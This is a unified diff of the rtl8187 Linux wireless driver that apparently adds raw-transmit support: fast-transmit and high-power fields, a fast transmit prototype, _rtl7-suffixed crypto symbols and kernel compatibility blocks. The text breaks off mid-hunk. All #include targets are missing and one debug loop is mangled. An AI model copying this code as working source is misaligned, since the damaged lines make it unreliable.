rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h 2006-06-06 02:48:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-08-12 13:11:32.000000000 -0400 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,18 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + short highpower; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +168,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +181,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +235,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +249,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h~ 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/.tmp_versions/r8187.mod 2006-06-22 01:40:15.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod 2008-08-12 13:11:32.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.c 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-08-12 13:11:32.000000000 -0400 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-08-12 13:11:32.000000000 -0400 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - 